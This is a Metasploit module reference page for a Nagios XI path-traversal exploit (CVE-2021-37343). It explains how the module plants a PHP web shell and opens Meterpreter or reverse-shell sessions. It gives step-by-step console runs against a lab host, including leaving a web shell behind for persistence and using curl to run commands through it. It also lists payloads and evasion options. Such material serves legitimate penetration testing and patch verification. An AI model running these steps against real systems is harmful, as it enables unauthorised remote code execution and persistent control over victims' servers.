Nagios XI Autodiscovery Webshell Upload - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nagios_xi_autodiscovery_webshell metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Nagios XI Autodiscovery Webshell Upload
Module: exploit/linux/http/nagios_xi_autodiscovery_webshell
Source code: modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb
Disclosure date: 2021-07-15
Last modification time: 2022-02-10 17:39:07 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-37343
This module exploits a path traversal issue in Nagios XI
before version 5.8.5 (CVE-2021-37343). The path traversal
allows a remote and authenticated administrator to upload a
PHP web shell and execute code as www-data. The module
achieves this by creating an autodiscovery job with an id
field containing a path traversal to a writable and remotely
accessible directory, and custom_ports field containing
the web shell. A cron file will be created using the chosen
path and file name, and the web shell is embedded in the
file. After the web shell has been written to the victim,
this module will then use the web shell to establish a
Meterpreter session or a reverse shell. By default, the web
shell is deleted by the module, and the autodiscovery job is
removed as well.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/nagios_xi_autodiscovery_webshell
msf exploit(nagios_xi_autodiscovery_webshell) > exploit
Required Options
RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
PASSWORD: Password to authenticate with
Knowledge Base
Vulnerable Application
Description
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path
traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as
www-data. The module achieves this by creating an autodiscovery job with an id field containing a
path traversal to a writable and remotely accessible directory, and custom_ports field containing
the web shell. A cron file will be created using the attacker's chosen path and name, and the web
shell is embedded in the file.
After the web shell has been written to the victim, this module will then use the webshell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well.
Installation
The following was tested on Ubuntu 20.04.
- wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
- tar -xvf xi-5.8.4.tar.gz
- cd nagiosxi
- sudo ./fullinstall
The installer will spend a good deal of time installing many things. Upon completion, navigate to the Web UI, accept license agreements, and configure the administrator username and password.
Verification Steps
- Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
- Do:
use exploit/linux/http/nagios_xi_autodiscovery_webshell - Do:
set RHOST <ip> - Do:
set PASSWORD <password> - Do:
check - Verify the target is flagged as vulnerable
- Do:
set LHOST <ip> - Do:
run - You should get a Meterpreter session.
Options
TARGETURI
Specifies base URI. The default value is /nagiosxi.
USERNAME
The username to log in to the Nagios XI web interface with. The default is nagiosadmin.
PASSWORD
The password to log in with. Set to nil by default.
DEPTH
The depth of the path traversal. Default is 10.
WEBSHELL_NAME
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
Set to nil by default.
DELETE_WEBSHELL
Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established.
A user may want to leave behind a web shell for persistence reasons. The default is true.
Scenarios
Nagios XI 5.8.4 - Get a Meterpreter Session
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*]
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
[*]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800
meterpreter > shell
Process 800816 created.
Channel 1 created.
uname -a
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
whoami
www-data
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
Nagios XI 5.8.4 - Get a reverse shell
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*]
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
[*]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
target => 0
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse double SSL handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Deleting autodiscovery job
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nyjlVFXNgWehsWFs;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nyjlVFXNgWehsWFs\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
Nagios XI 5.8.4 - Leave a web shell behind
msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
DELETE_WEBSHELL => false
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
WEBSHELL_NAME => lobster.php
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800
meterpreter > quit
[*] Shutting down Meterpreter...
[*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1
Go back to menu.
Msfconsole Usage
Here is how the linux/http/nagios_xi_autodiscovery_webshell exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show info
Name: Nagios XI Autodiscovery Webshell Upload
Module: exploit/linux/http/nagios_xi_autodiscovery_webshell
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-07-15
Provided by:
Claroty Team82
jbaines-r7
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DELETE_WEBSHELL true yes Indicates if the webshell should be deleted or not.
DEPTH 10 yes The depth of the path traversal
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This inclu
des signing the license agreement.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
ing-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t
he local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
WEBSHELL_NAME no The name of the uploaded webshell. This value is random if left unset
Payload information:
Description:
This module exploits a path traversal issue in Nagios XI before
version 5.8.5 (CVE-2021-37343). The path traversal allows a remote
and authenticated administrator to upload a PHP web shell and
execute code as `www-data`. The module achieves this by creating an
autodiscovery job with an `id` field containing a path traversal to
a writable and remotely accessible directory, and `custom_ports`
field containing the web shell. A cron file will be created using
the chosen path and file name, and the web shell is embedded in the
file. After the web shell has been written to the victim, this
module will then use the web shell to establish a Meterpreter
session or a reverse shell. By default, the web shell is deleted by
the module, and the autodiscovery job is removed as well.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-37343
https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/
Module Options
This is a complete list of options available in the linux/http/nagios_xi_autodiscovery_webshell exploit:
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show options
Module options (exploit/linux/http/nagios_xi_autodiscovery_webshell):
Name Current Setting Required Description
---- --------------- -------- -----------
DELETE_WEBSHELL true yes Indicates if the webshell should be deleted or not.
DEPTH 10 yes The depth of the path traversal
FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This incl
udes signing the license agreement.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/U
sing-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on
the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /nagiosxi/ yes The base path to the Nagios XI application
URIPATH no The URI to use for this exploit (default is random)
USERNAME nagiosadmin yes Username to authenticate with
VHOST no HTTP server virtual host
WEBSHELL_NAME no The name of the uploaded webshell. This value is random if left unset
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nagios_xi_autodiscovery_webshell exploit:
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show advanced
Module advanced options (exploit/linux/http/nagios_xi_autodiscovery_webshell):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning
up files
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set
to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a p
ayload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is
missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable temp
late
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to exist
ing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset
to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this ser
vice
MSI::Custom no Use custom msi instead of automatically generating a p
ayload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM i
f accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "
ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS a
nd SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel M no The User-Agent header to use for all requests
ac OS X 12_2_1) AppleWebKit/605
.1.15 (KHTML, like Gecko) Versi
on/15.2 Safari/605.1.15
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in second
s
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP
transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScrip
t)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires
tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid
to root)
PrependFork false no Prepend a stub that starts the payload in its own process via for
k
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will
NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should b
e killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut
down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableS
tageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compa
tible
StagerRetryCount 10 no The number of times the stager should retry if the first connect
fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attemp
ts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_autodiscovery_webshell module can exploit:
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_autodiscovery_webshell exploit:
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x64/exec normal No Linux Execute Command
7 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
8 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
9 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
10 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
11 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
12 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
13 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
14 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
15 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
16 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
17 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
18 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
19 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
20 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nagios_xi_autodiscovery_webshell exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunke
d"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accep
ted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accep
ted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and versio
n
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Acce
pted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes,
hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Nagios is not fully installed.
- The Nagios license has not been signed.
- Unable to obtain the Nagios XI version from the dashboard
- Determined using the self-reported version: <NAGIOS_VERSION>
